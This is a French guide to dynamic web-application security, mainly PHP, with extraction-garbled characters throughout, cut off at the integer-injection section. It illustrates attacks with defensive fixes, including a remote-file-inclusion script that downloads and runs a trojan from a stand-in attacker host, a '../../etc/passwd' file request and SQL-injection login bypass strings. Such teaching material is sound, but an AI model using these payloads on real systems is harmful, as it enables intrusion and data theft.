Sie sind auf Seite 1von 26

WWW : the wild-wild-web - La scurit du web dynamique

John GALLET - SaphirTech http: www!saphirtech!com

"daction initiale : mai #$$% &erni're modi(ication : ) *uillet #$$% Toute modi(ication de (ond ou de (orme interdite sans accord de l+auteur! Toute di((usion sans modi(ication autorise! ,i l+auteur ni sa socit n+en-a-ent leur responsabilit en cas d+in(ormations ou al-orithmes errons dans ce document qui est (ourni sans aucune -arantie!

1. Introduction et audience
Ce document est destin tout dveloppeur intervenant dans le cadre d'une "web-application" c'est dire de manire gnrique toute application fonctionnant sur http compose d'un frontal de type navigateur, d'un bac end de stoc age de type !"#$%&' et d'un middle tiers permettant de faire le lien entre les deu( et donc du web dynamique) *rois e(emples de configuration de ce type + ,)-) . ) net . ms-sqlserver, firefo( %ou tout successeur de netscape' . *omcat/0!1 . 2racle, 2pra . apache/131 . 1ostgresql %ou mysql') #ien d'autres combinaisons e(istent) 4es sysadmins trouveront aussi quelques conseils en dernire partie pour rduire les risques et le fingerprinting lis 131 et apache) 4'auteur affectionnant particulirement cette plateforme %c'est peu de le dire 5' un accent particulier est mis sur la ralisation en 131, mais de rares e(ceptions prs, clairement indiques comme telles, la totalit des failles dcrites concerne *26*-! les plateformes de web dynamique, car elles sont lies des erreurs de conception, pas d'implmentation) 6n cours sur le web dynamique appliqu 131 et 7ysql est disponible sur www)saphirtech)com et les notions qu'il prsente devraient 8tre acquises avant d'attaquer la partie scurit)

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

:/;<

Plan gnral du document


9prs avoir mis en place quelques dfinitions pour s'assurer un vocabulaire commun et rappeler des rgles gnrales de scurit informatique, =e dresse dans la troisime partie une liste de fausses pratiques de scurit) Cette partie est %volontairement'asse> dense et dogmatique car elle ne fait qu'un catalogue de mauvaises habitudes en donnant une courte =ustification) 4a deu(ime partie donne des catgories d'attaques selon leur niveau d'automatisation) -n troisime partie, =e recense un catalogue le plus complet possible des attaques au(quelles sont e(poses les applications web, en indiquant chaque fois le principe implmenter pour se protger, en particulier le squelette de principe d'un module de filtrage) 4a quatrime et dernire partie termine le document par des conseils complmentaires gnrau()

Vocabulaire :
0'emploierai le terme "attaquant" qui est suffisamment gnrique pour ne pas rentrer dans le dbat de ses motivations) &appelons nanmoins au passage que le terme galvaud "hac er" n'a pas le sens communment utilis par les mdias tout aussi ignorants dans ce domaine que dans bien d'autres) "to hac the code" cela veut dire dissquer, acqurir une comprhension suffisante d'un programme pour pouvoir ensuite l'amliorer, le corriger %en particulier en termes de fiabilit') "www)cible)tld" + ce sera tou=ours le nom de domaine de l'application vulnrable attaque) "www)attaquant)tld" + ce sera l'une des multiples machines qu'un attaquant peut avoir sa disposition %pas ncessairement tou=ours la m8me pour une m8me attaque, on peut parfaitement demander un script une premire machine qui lui m8me en tlcharge un autre depuis une autre machine') "to spoof" %en fran?ais dans le te(te + spoofer' + simuler des informations thoriquement techniques et transparentes pour l'utilisateur afin d'usurper une identit informatique) "faille de scurit" + erreur de codage ou de conception qui permet de passer outre une procdure d'authentification, d'avoir accs des donnes non publiques, ou de modifier/dtruire des donnes/des scripts, restreint e(clusivement une optique web en ce qui concerne ce document) "utilisateur" + la personne physique qui a une raison lgitime d'utiliser l'application, i)e) l'internaute client potentiel d'un site marchand ou l'utilisateur d'une application d'intranet, etc) "social engineering" + l'attaquant contacte sa cible en personne, souvent par tlphone, mais m8me en chair et en os, le plus souvent en usurpant une identit, pour aller " la p8che" au( informations) "phishing" + %to fish + p8cher' processus de social engineering en nette recrudescence par courrier lectronique) @ous ave> probablement d= re?u un mail d'ebay ou d'une banque qui vous demande "pour raisons de scurit" %et comment 5' de bien vouloir confirmer vos informations confidentielles en cliquant l) A- 4- B9,*-! 0979,!) "page" + une page est un contenu affich) 1eu importe qu'il y ait changement du nom de fichier ou des paramtres permettant de gnrer ce contenu, ce document traite de scurit, pas des recommandations wCc) "uni("+ tous types d'uni( au sens large, libres ou non) 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
;/;<

Scurit informatique : un tout cohrent


C'est un domaine trs vaste, m8me restreint au( web-apps) Ce document ne prtend en rien donner une solution magique et universelle + il n'y en a pas) ,l est trs important de comprendre que votre systme possde le niveau de scurisation de son maillon le plus faible, qui est souvent l'humain %mots de passe sur post-it au mieu( sous le clavier ou plus simplement sur le cDt de l'cran, social engineering, etc)', mais peut se situer n'importe oE sur la chaFne) Ce document ne traite pas de la scurisation de l'accs la base de donnes, de l'installation de firewalls %physiques ou logiques comme iptables, etc)' de la ncessit de se tenir =our des patchs du systme d'e(ploitation et des applications employes, de forcer les utilisateurs changer rgulirement leurs mots de passe))) 7ais si vous ne le faites pas %faire', le temps investi en respectant scrupuleusement les conseils donns ici ne sera pas aussi rentable qu'il aurait pu l'8tre, ou carrment en pure perte) 0'insiste + pose> vous la question) Gui est charg dans le cadre de votre entreprise ou de votre quipe de dveloppement ou de gestion de production de se tenir au courant des mises =our de scurit des applications principales %systme windows/uni(, !!4, apache, ,,!, oracle, sybase, postgresql, mysql, php, =d , perl, etc)' et de les appliquer H 4e fait-il H 6ne fois qu'il a l'information, est-ce qu'il applique bien les patchs H

Passoire ou inutilisable ?
Ce document essaye de prendre en compte tous les aspects de la scurit d'une application web et en particulier l'quilibre prcaire obtenir entre la scurit des donnes et la possibilit pour l'utilisateur de se servir de l'application) ,l convient de bien dissocier ce qui relve du confort de l'utilisateur de ce qui le g8nera vraiment ou l'emp8chera totalement d'utiliser l'application) 6ne application qui fonctionne merveille avec des donnes totalement corrompues renverra tou=ours des donnes corrompues + "garbage in, garbage out") 6ne application dont personne ne veut se servir car son interface est trop contraignante ne sortira aucune donne, ni vrole, ni correcte)

Suis-je concern par ce type d'attaque ?


9vant de vous dire "?a ne peut pas m'arriver", pose> vous vraiment la question une seconde fois + -st-ce que *26! les dveloppeurs de l'quipe sont bien au courant de comment ?a se passe dans la vraie vie H -t ceu( de vos fournisseurs H !i vous ave> un hbergement mutualis, votre application n'est-elle pas en ralit suffisamment critique pour mriter une machine ddie afin de ne pas 8tre impacte par les failles des autres applications %que vous ne maFtrise> en rien 5' prsentes sur cette machine H 78me si maintenant, dans votre configuration actuelle, ?a ne peut pas vous arriver, et si vous devie> la change> H -t si la semaine prochaine, la qualit de votre hbergement se dgrade et que vous deve> en changer d'urgence H %?a n'arrive pas qu'au( autres)))' 0usqu' quel point la configuration actuelle est-elle soit disant "standard" H Gue se passera-t-il la prochaine version d',,!, asp, )net, =d /=re, tomcat, apache, php, perl H -t si vous n'avie> plus la main sur la machine pour en changer la configuration par dfaut H -t si demain vous ave> un norme contrat d'un prospect mais que celui-ci e(ige que votre application fonctionne dans une configuration radicalement diffrente de la vDtre, quels sont les impacts %utilisation de )htaccess par e(emple' H

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

C/;<

Gnralits
2n ne le rptera =amais asse> + il est impossible de faire confiance une donne provenant du client, m8me %surtout' si elle est cense avoir t valide cDt client en =avascript) $e m8me, une gnration d'identifiant de session ou de =eton doit absolument 8tre non dterministe, donc fortement alatoire) ,l convient videmment d'avoir une fonction/mthode unique de vrification de validit de la session et de ne pas oublier de l'appeler systmatiquement) Rgle : vrifie> que toutes les "pages" accs restreint font bien la vrification des droits d'accs ou de la session) !i, si, faites le) $eu( grands types d'attaques peuvent avoir lieu + - l'attaquant fournit des donnes cohrentes pour l'application %elle s'attend les recevoir' mais fausses) 1ar e(emple, si le pri( d'une commande en ligne n'est pas recalcul cDt serveur, l'attaquant modifie le pri( de la commande %total global ou de chaque article') !i l'authentification de l'administrateur a lieu en recevant la variable "adminI2n", l'attaquant va la fournir) A# + ne rigole> pas en lisant ces deu( e(emples, ils ne sont pas simplistes, on les rencontre rellement, et m8me pire) - l'attaquant essaye d'e(cuter du code, e(cution immdiate ou but de le stoc er pour qu'il soit e(cut plus tard %par e(emple dans l'outil d'administration de l'application')

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

J/;<

2. Premire partie : la fausse scurit.


$e m8me qu'il est dangereu( qu'une application "tombe en marche" sans qu'on comprenne pourquoi %c'est ce qu'on appelle parfois la "programmation accidentelle"', il est dangereu( de ne pas comprendre les mcanismes de transmission des donnes sur 3**1) -t encore plus dangereu( de se croire l'abri alors qu'on ne l'est nullement) @oici donc certaines fausses pratiques de scurit) -n elles m8mes, elles ne sont pas dangereuses %elles ne sont pas la source de la faille', mais contribuent faire croire que "le reste" est inutile %confort psychologique' alors qu'elles se contournent en quelques minutes %heures pour la crypto', ce qui est le meilleur moyen pour se retrouver avec une passoire en tant convaincu d'avoir un coffre fort, et peuvent dans certains cas de plus 8tre g8nantes pour l'utilisateur) 4e middle tiers %0!1, 131, etc)' re?oit des donnes de deu( sources + le rseau et la base de donnes) 4es donnes re?ues de la base peuvent 8tre considres comme scurises si on a fait le mnage avant des insrer, ce que =e considrerai ici pour simplifier, mais il est noter que certains dveloppeurs considrent qu'il vaut mieu( faire certains nettoyages en sortie, et non en entre, du !"#$, pour certain types d'attaques) 9ttention + m8me si ce document se rduit une optique web, il faut bien entendu faire du nettoyage sur tous les canau( d'entre %imports de fichiers, webservices, etc)))' Aous y reviendrons en traitant les K!!) Considrons donc pour le moment que les donnes venant du !"#$& sont dignes de confiance) Rgle primordiale : vous ne pourre> =amais emp8cher un attaquant de vous fournir les arguments qu'il voudra 46, %par la mthode de transmission que vous attende> @26!') 1ourquoi + cf) plus loin)

!e ne risque rien sur mon intranet


Bausse impression de scurit + "mon application est un intranet, il n'y a pas de pirates dans mon entreprise") 9h bon H 2n parie H *riste ralit + plus de la moiti des attaques recenses proviennent de l'intrieur de l'entreprise)

!e suis s"r que c'est arri# en P$S%


!o what H Bausse pratique de scurit + "=e vrifie que la donne m'arrive bien en 12!*" %variante + "en "-*", "dans un coo ie"') Rgle : il est inutile de vrifier qu'une donne vous est bien fournie par 12!* et non par "-* %ou l'inverse' ou par un coo ie) 1ourquoi + c'est l'enfance de l'art que de vous envoyer des donnes) @ous voule> du "-* H 1ar "-*, il suffit de faire un telnet www)cible)tld LM ou plus simplement de taper les variables dans la barre de navigation d'un navigateur) @ous voule> du 12!* H 1ar 12!*, il suffit de sauvegarder la page html de votre formulaire sur le disque dur, de modifier le code, de relire le fichier local, et cliquer sur "submit") @ous voule> un coo ie H 6n coo ie, ce n'est qu'un fichier te(te crire au bon endroit 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
N/;<

sur le disque dur) ,l est galement possible d'utiliser wget ou curl pour envoyer les m8mes donnes en boucle infinie :M ou NM fois par seconde pendant :h))) Corollaire : c'est le contenu de la donne qui est important, son mode de transmission n'a strictement aucune importance) -n 131 + utilise> donc le tableau OP&-G6-!* au lieu de compliquer le code en utilisant tantDt OP"-* et tantDt OP12!*)

&es donnes sont #alides gr'ce ( ja#ascript


Bausse pratique de scurit + "='ai d= vrifi les donnes par du =avascript, donc elles sont bonnes") Rgle : la validation des donnes en 0! ne sera =amais que l'un %et certainement pas le seul 5' des moyens de donner du confort d'utilisation l'utilisateur, et ne sera =amais une source de scurit) 1ourquoi + pour les m8mes raisons que la vrification de la mthode de transmission des donnes, cette affirmation est ncessairement une hrsie, sans compter le cas d'un navigateur ancien ou configur pour ne pas accepter =avascript) Ce qu'on peut ventuellement tolrer comme raisonnement, en revanche, c'est la chose suivante + "='ai d= valid mes donnes en =avascript, ce qui permet le confort de l'utilisateur qui a des beau( messages d'erreur conte(tuels, donc si =e dtecte cDt serveur une incohrence, =e n'ai pas besoin de faire trop d'efforts pour le confort de l'utilisateur + il ressaisira tout le formulaire, tant pis pour lui, s'il ne veut pas utiliser 0!, c'est son problme)" -n ce qui me concerne, =e n'encourage pas ce type de comportements de fainants, mais c'est l un avis purement personnel)

c'est pas gra#e) les mots de passe sont chiffrs


Bausse pratique de scurit + "=e chiffre les mots de passe dans la base de donnes, parce que comme ?a c'est pas grave si on me les vole") %s/base de donnes/fichier/' *riste ralit + si on vous vole des donnes confidentielles de taille courte style mots de passe, m8mes chiffres/cryptes, ce n'est qu'une question de trs peu de temps avant qu'elles ne soient dchiffres) 1ourquoi + attaques par dictionnaires, par analyse statistiques, rainbow tables, les mthodes ne manquent pas, et il y aura bien tou=ours au moins un utilisateur qui aura un mot de passe "faible" qui sera trouv la premire passe) 6n seul suffit, pas besoin de tous les trouver) -t ce ne sont pas les outils de craquage qui manquent) Rgle : vous pouve>/deve> chiffrer les mots de passe en base de donnes, mais ne vous 4,7,*-Q 0979,! cette protection seule) @ous deve> tout faire pour interdire l'accs illgitime ces donnes) 1ourquoi + non seulement si un attaquant arrive e(traire ces informations, il arrivera aussi probablement e(traire toutes les autres contenues dans la base, et m8me peut-8tre les modifier, mais ce n'est qu'une question de temps avant qu'au moins un login/pass soit dchiffr %pas ncessairement tous, mais suffisamment pour compromettre le systme, et tous ceu( sur lesquels cet utilisateur a choisit le m8me mot de passe') @raiment, quand on vous a piqu la liste des logins/pass, il est sacrment tard pour se mettre faire de la scurit))) 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
</;<

7ise en pratique + 7fie> vous des fonctions internes de chiffrement des !"#$& qui sont susceptibles de changer %e(emple sous mysql, la transition de 7$N !39: pour la fonction interne 19!!R2&$%'')

*a #ient bien de che+ moi) j'ai #rifi le referer


Bausse pratique de scurit + "=e vrifie que la page prcdente est la bonne avec le 3**1P&-B-&-&" Rgle : vrifier le 3**1P&-B-&-& ne fait qu'une seule chose + g8ner les internautes honn8tes dont le navigateur ne transmet pas cette information) 1ourquoi + l encore, c'est l'enfance de l'art que de spoofer cette information) 4es dernire versions de wget acceptent directement --refererIwww)cible)tld/page)e(t %et les prcdentes permettent de l'a=outer avec --header', la librairie curl a aussi cette option en standard, le langage 1ython fait lui aussi ?a trs facilement, etc)

*'est la bonne ,P donc c'est la bonne personne


Bausse pratique de scurit + "=e me contente de vrifier une liste d'adresses ,1 autorises" Rgle : se contenter d'une authentification par ,1 est en gnral insuffisant) 1ourquoi + c'est une pratique e(tr8mement peu fiable) 1ersonne ne vous garanti que c'est la bonne personne qui est devant la machine, seulement que c'est %peut-8tre' la bonne machine) -t une ,1 se spoofe aussi trs bien)

*'est la m-me ,P . /-0$1231454-0$1 donc c'est la m-me personne


Bausse pratique de scurit + "=e vrifie que l'utilisateur n'a pas chang d',1 entre deu( requ8tes 3**1")%variante + pas chang de K-B2&R9&$-$-B2&' Rgle pour un site public : ne rende> =amais cette vrification bloquante %logue> la si vous voule>, mais ne re=ete> pas la session' car sinon vous alle> rendre votre site totalement inaccessible bon nombre d'internautes) Rgle pour un intranet : vous pouve>, si vous maFtrise> bien le schma rseau %quid d'un vpn avec chemins redondants H' a=outer cette vrification, mais elle ne doit en aucun cas 8tre la seule) C'est un %petit' plus, pas une scurit suffisante) 1ourquoi+ tout premirement parce que l',1, comme d'ailleurs le K-B2&R9&$-&-B2& %ou le 3**1P&-B-&-& comme d= vu', sont des donnes mises par le client rseau, donc l'enfance de l'art spoofer %entre autres en =ouant avec 9&1') -nsuite, outre le spoofing, parce que beaucoup de rseau(, d'entreprise ou de B9,, ont des pro(ys dans tous les coins, et que &,-A ne garantit que l'internaute le plus honn8te qui soit n'aura pas :M ,1 diffrentes sur :M requ8tes 3**1 successives)

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

S/;<

*'est une donne s"re) c'est le syst6me qui me la donne


&gle + vous deve> tou=ours vrifier quelle est la source d'une donne) 1ourquoi + tout, =e rpte, tout ce qui peut, dans un processus normal ou non, venir du monde e(trieur doit 8tre considr comme vrol) 1ar e(emple, il est classique %et d'une inutilit patente, mais c'est un autre dbat)))' d'enregistrer le navigateur ayant fait la requ8te) 2n se sert alors de la donne 6ser-9gent) -n 131 elle se trouve dans la variable OP!-&@-&T'3**1P6!-&P9"-A*'U) 2r, ceci peut contenir absolument n'importe quoi, c'est l aussi l'enfance de l'art utiliser +
telnet www.cible.tld 80 Escape character is '^]'. GET /vulnerable_script.ext HTTP/ . !ser"#$ent% evil_a$ent'

Tdeu( fois entreU

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

L/;<

3. Deuxime partie : scnarios d'attaques


A'importe qui ayant regard des logs de serveur http d'une machine disposant d'une ,1 publique le confirmera instantanment + tous les serveurs de la terre entire sont constamment sous attaque) 7ais comment font-ils H ,ls ne dorment =amais H 4es humains, si) 4eurs scripts automatiss, non %de l'e(pression "script iddies"') ,l y a deu( catgories d'attaques +

7es attaques automatises8


4'attaquant tlcharge une application toute pr8te, ou la dveloppe lui m8me, la paramtre pour scanner une plage d'adresses ,1, et vaque ses occupations) Guand l'attaque a russit, il est prvenu automatiquement par courrier lectronique ou sur canal ,&C par e(emple) @otre application sera ncessairement soumise ce type de scans) -n dcembre ;MMJ, c'est ce type d'attaque qui a fait des ravages dans les sites utilisant php##, le script de l'attaquant tant programm pour rechercher automatiquement une prochaine victime potentielle sur google ds qu'il avait russit infecter une machine) ,l est donc impratif que vos scripts soient totalement blinds contre ces attaques automatises)

7es attaques cibles8


Ce soir &MMt-1JtJ*Mr a dcid de se faire plaisir, il tape une ,1 au hasard et pas de bol, c'est la vDtre) 2u alors, il vous en veut personnellement) 2u il est pay par le V"#) 2u un de vos concurrents) 9lle> savoir) 7ais l cette fois ce n'est plus un script b8te qui teste un certain nombre de failles bien prcises, vous ave> affaire un cerveau humain, en gnral loin d'8tre idiot et ayant souvent de l'e(prience, si ce n'est du talent %malgr le pseudo ridicule dont =e viens de l'affubler') $ans ce type d'attaque, pour faire une 794C, c'est un peu comme quand un cambrioleur arrive sur votre pallier en plein mois d'aoWt) ,l sait qu'il peut faire un peu de bruit, mais pas trop quand m8me) !'il voit une porte blinde avec cinq points et l'impossibilit totale de faire pression sur les angles, et que la porte d' cDt ncessite =uste un bon coup de tournevis pour faire sauter la serrure, il a le choi( + ou il se lasse vite aprs avoir essay %et il passe che> le voisin de pallier', ou il a vraiment envie de rentrer et il finira probablement par y arriver, ou bousiller la serrure) 4 c'est un peu pareil+ votre application doit absolument passer le premier scan en ne lXchant strictement aucune information pouvant permettre de penser qu'elle est mal con?ue %ce qui provoquerait un regain d'nergie et faciliterait l'attaque', et rsister toutes les attaques classiques recenses) 1our le reste))) un attaquant dtermin a de fortes chances de russir finir par rentrer dans le systme, probablement en combinant plusieurs failles mineures, avec un peu de social engineering, etc)))

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

Y/;<

4. Troisime partie : annuaire des attaques classiques


REMARQUE IMPORTANTE : $ans tout le code ci-dessous ='utilise allgrement OP&-G6-!* sans autres prcautions, ce qui est une hrsie) ,l est obligatoire d'utiliser une fonction de filtrage, ce qui sera vu en temps utile)

,njection de #ariables
Ce paragraphe est plus spcifiquement lie 131 et ne fonctionne que dans sa configuration registerPglobalsI2n ou par toute pratique consistant volontairement rimporter dans l'espace de nommage direct les variables re?ues %e(emple + e(tract%OP12!*'' $ans cette configuration, toute variable re?ue %en "-* ou 12!* peu importe' est importe dans l'espace de nommage) 6n script mal crit peut alors 8tre vulnrable) 1ar e(emple + ZHphp // verifPlogin)php code vulnerable ne faites pas ceci // en general, on va chercher en !"#$& ou lire un fichier if%OloginII'coucou' [[ OpasswordII'coincoin'' OauthI*&6-\ H] ZHphp // traiterPformulaire)php code vulnerable ne faites pas ceci require%'verifPlogin)php''\ if%Oauth' require%'secret)php''\ else require%'login)php''\ H] 2utre le fait que n'importe qui peut ici demander http+//www)cible)tld/secret)php directement ce qui est une faille en soit %=e donne cet e(emple pour prparer la suite' il suffit ici que n'importe qui appelle www)cible)tld/traiterPformulaire)phpHauthIMwnCd pour accder sans login ni mot de passe la >one secrte) 9ttention + en registerPglobalsI2n, on peut parfaitement in=ecter des variables dans des tableau( comme OP!-&@-&))) Comment rsoudre ce problme H :' ne =amais partir du principe qu'on est en registerPglobalsI2ff + oui, c'est le cas de beaucoup des machines actuelles, mais loin, trs loin d'8tre le cas de toutes les machines) 2ui, c'est "idiot" de ne pas dsactiver registerPglobals %il y avait d'autres solutions la base, mais puisque celle-ci a t retenue, autant s'en servir' mais ce n'est pas tou=ours le cas dans la vraie vie) C'est la triste ralit, vous deve> vous en accommoder %au lieu de partir du principe que ?a n'arrivera pas') ;' tou=ours initialiser ses variables) 4e script ci-dessus se corrige en une seule ligne en a=outant OauthIB94!-\ en premire ligne de verifPlogin)php %ou en else') C' tou=ours 8tre compatible avec registerPglobalsI2ff et donc utiliser le tableau OP&-G6-!* %ou OP"-* et OP12!* si vous prfre> mais souvene> vous que ?a n'apporte 96C6A- scurit supplmentaire') J' d'aucuns dtruisent d'entre toutes les variables qui auraient pu 8tre cres en registerPglobalsI2n avec les instructions suivantes + foreach%OP&-G6-!* as Oname' unset%O^Oname_'\ 9ttention, si ceci n'est pas fait sur *26! les fichiers, il n'y a aucun gain) A# + synta(e complte et non ambigu`, mais on peut aussi simplifier ici en OOname' 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:M/;<

*onfiance a#eugle dans les donnes e9trieures


4, une mauvaise analyse du transit des donnes %entre autres' permet de deviner trop de choses puis de les e(ploiter) -n regardant le code du formulaire soumis dans le cadre d'une inscription en ligne, l'attaquant lit ceci + T)))U Z,A16* *a1-I"3,$$-A" A97-I"log" @946-I"mailing)log"] Z,A16* *a1-I"3,$$-A" A97-I"bienvenue" @946-I"welcome)t(t"] T)))U !i le script de traitement, quel que soit le langage dans lequel il est crit, envoie par mail le te(te contenu dans welcome)t(t il est possible de demander d'autres fichiers + @946-I"))/))/etc/passwd" par e(emple) 2u le code du script lui m8me) 2u d'un script contenant des logins/pass d'accs au !"#$&, etc) ,l suffit de demander, on re?oit directement le fichier par mail) !i le script est crit en perl, on a m8me une chance d'e(cuter directement des commandes systme) $e plus, on connaFt d= le nom de fichiers sur lequel le script possde un droit en criture, peut-8tre m8me est-ce tout le rpertoire, ce qui est tou=ours utile savoir quand on veut e(cuter du code distance) Comment rsoudre ce problme H 9ucune mthode de dveloppement n'insiste asse> sur un point primordial qui touche aussi bien la scurit qu'au( performances + l'analyse du flu( des donnes) !i ?a ne sert rien de balader l'information, on ne la balade pas) 9ussi bien pour raisons de performances que de scurit) Rgle : le premier principe appliquer est que toute donne arrivant du monde e(trieur est potentiellement vrole et doit donc 8tre valide) Aous verrons plus tard les diffrentes mthodes de validation possibles)

,ncludes dynamiques
Cette faille est un cas particulier de la confiance aveugle dans les donnes qui sont re?ues, avec la dsagrable particularit de permettre immdiatement l'e(cution du code de l'attaquant sur votre serveur) Cette faille ncessite que le paramtrage allowPurlPfopen I 2n ce qui est le cas par dfaut) *rs rpandue en 131 et plus gnralement dans les langages utilisant le principe des !!, %!erver !ide ,nclude' mais pouvant se gnraliser d'autres langages avec une mauvaise conception, cette faille est base sur le fait que le nom d'un fichier utiliser cDt serveur est rcupr dans une variable venant du monde e(trieur) -(emple : + ZHphp // filePvuln:)php code vulnerable ne faites pas ceci // rappel + le ) est en 131 pour les strings la concatnation, comme le . en =ava par e(emple) // rappel + on ne doit pas utiliser OP&-G6-!* sans filtrage, cf plus loin) OactionIOP&-G6-!*T'action'U\ require%Oaction)')php''\ H] 9ttaque + Z3*74] Z5-- local)html a ouvrir dans son navigateur favori --] Z#2$a] 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
::/;<

ZB2&7 9C*,2AI"http+//www)cible)tld/filePvuln:)php" 7-*32$I"12!*"] Z5-- quand on vous disait que c'est l'enfance de l'art de vous envoyer une donne par 12!*))) --] Z,A16* *a1-I"3,$$-A" A97-I"action" @946-I"http+//www)attaquant)tld/evilPscript"] Z,A16* *a1-I"!6#7,*"] Z/B2&7] Z/#2$a] Z/3*74] $ans cet e(emple, le code de filePvuln:)php a=oute le ")php" en esprant 8tre scuris ce qui est doublement idiot + ou on nommera le script de l'attaquant filePvuln:)php)php si on a besoin de gnrer du code offensif dynamiquement %oui, oui, gnrer du code offensif dynamiquement, on peut', ou tout simplement sans e(tension) $ans un cas il faudra faire appel la commande php echo pour gnrer le code, dans l'autre il suffit d'crire le code directement) ZHphp // evilPscript)php echo ' // ceci sera envoye et e(ecute par la victime 7wuahahahahaha e(ec%"wget http+//www)attaquant)tld/tro=an)pl -2 /tmp/)tmpMM:\ /tmp/)tmpMM:"'\ '\ H] Comment rsoudre ce problme H Ae le cre> pas 55 4e moyen le plus simple + ne 0979,! utiliser les instructions require, include, requirePonce, ou includePonce avec en paramtre complet ou tripot une donne venant de l'e(trieur) Cette pratique relve e(clusivement de "l'astuce du bidouilleur averti" ou %pire' de "l'esthte du code") ,l n'y a strictement aucune contrainte e(terne qui puisse vous forcer utiliser ce type de raccourci synta(ique) 1our s'en assurer + passer allowPurlPfopen 2ff) 9ssure> vous que les droits lis au( processus web soient corrects) Ceci tant dit, si vraiment vous voule> continuer utiliser cette synta(e %on vous aura prvenus, hein', vous deve> imprativement vrifier l'argument re?u par rapport une liste e(plicite de valeurs autorises) $e manire gnrale, on peut coder quelque chose base de switch case ou en 131 utiliser la fonction inParray%') $'aucuns utilisent la fonction filePe(ists% ' car pour l'instant elle ne fonctionne qu'en local, mais + :' si on demande ))/))/etc/passwd la fonction filePe(ists% ' renverra bien *&6-))) ;' les volutions de la notion de streams en 131 ne m'inspirent pas du tout confiance %en termes de gnralisation outrance' et il se pourrait bien qu'un =our, sans tambours ni trompettes, filePe(ists%' renvoie *&6- sur un fichier accd par http) 4a fonction filePe(ists%' fonctionne d'ailleurs sur ftp+// %source + !imon 7archal, !!*,C ;MMN') -(emple premire mthode + switch%Oaction' ^ case 'new'+ case 'update'+ case 'o '+ // ))) default+ 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:;/;<

e(it%"$on't even thin about it)))"'\ _ -(emple seconde mthode + OauthPactionsIarray%'new','update','o ',)))))'\ if%5inParray%OauthPactions, Oaction'' e(it%"Re told you + no way)"'\ 4e choi( entre la premire et la seconde mthode dpend mon sens de la quantit de code qu'on peut factoriser entre les diffrentes actions) -t rappelons qu'on peut surtout choisir de ne pas utiliser d'includes dynamiques)

7es injections S:7 par des cha;nes de caract6res


Cette in=ection a en thorie peu de chances de fonctionner car elle est base sur un dtournement du caractre ' %apostrophe/guillemet simple' et on souhaite pouvoir stoc er ce caractre dans une table, quand cela ne serait que pour un nom de famille) 4a protection dcoule naturellement du besoin de stoc er correctement une donne contenant une apostrophe) Aanmoins, en pratique, cette faille est beaucoup plus souvent prsente qu'on ne pourrait l'imaginer, en 131 ou non) C&-9*- *9#4- lusers % login @9&C39&%:M' A2* A644, password @9&C39&%:N' A2* A644, lastPlog $9*-*,7- A644, 1&,79&a V-a login'\ &appel au passage + ne mette> pas un 6A,G6- ni une 1V sur le mot de passe) !i =e me fais refuser mon mot de passe pour cause de doublon, =e n'ai plus qu' obtenir le login associ))) !oit le code %avec mysql, mais ceci est valable sur la totalit des !"#$'+ ZHphp // chec Plogin)php // rappel + on ne doit pas utiliser OP&-G6-!* sans filtrage, cf plus loin) OloginIOP&-G6-!*T'login'U\ OpassIOP&-G6-!*T'pass'U\ OqueryI"61$9*- lusers !-* lastPlogIA2R%' R3-&- loginI'Ologin' 9A$ passwordI'Opass'"\ OresImysqlPquery%Oquery, Odad'\ if%OresIIB94!-' e(it%'\ if%mysqlPaffectedProws%Odad'5I:' ^ require%'login)html''\ e(it%'\ _ require%'accueil)php''\ e(it%'\ H] 4'attaquant saisi alors dans les champs login et pass du formulaire, respectivement, un login connu/devin %admin par e(emple' et ' -- par e(emple) &appel + -- est un commentaire en !G4) 4a requ8te devient alors + 61$9*- lusers !-* lastPlogIA2R%' R3-&- loginI'admin' -- 9A$ password I'' Ce qui est tou=ours vrai, n'impacte qu'un seul rang si le login admin e(iste, donc permet de se loguer sans connaFtre le mot de passe associ) 9vec tous les !"#$ acceptant cette instruction, 7ysql par 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:C/;<

e(emple, on peut aussi contourner la limitation demande un rang avec une in=ection du type + loginII]' 2& :I: 4,7,* : -4a requ8te devient alors + 61$9*- lusers !-* lastPlogIA2R%' R3-&- loginI'' 2& :I: 4,7,* : car le -- met le reste de la requ8te en commentaires et il est m8me inutile de connaFtre/deviner un login) Comment rsoudre ce problme H Cette faille ne fonctionne que grXce au dtournement du caractre ' -n 131, la directive de configuration magicPquotesPgpc est souvent active) -lle permet d'viter automatique ce type d'in=ections car 131 garanti alors que toute variable de OP&-G6-!* subit un a=out de b avant les ' prsentes) ,l faut donc tester la configuration de 131 avec getPmagicPquotesPgpc%' et s'il n'est pas activ, ou pour tous les langages non 131, pour toutes les variables venant de l'e(trieur et allant vers la base de donnes, chapper les ' prsentes par le caractre d'chappement de votre !"#$& + souvent c'est b mais on trouve aussi souvent le m8me ' pour chapper i)e) b' ou '') -n 131, on peut utiliser la fonction addslahes%') 9ttention se prmunir contre l'insertion de b' qui ne doit pas devenir bb' %le caractre b suivit de l'apostrophe' mais bbb' %le caractre b suivit d'une apostrophe chappe correctement')

,njections sur des entiers


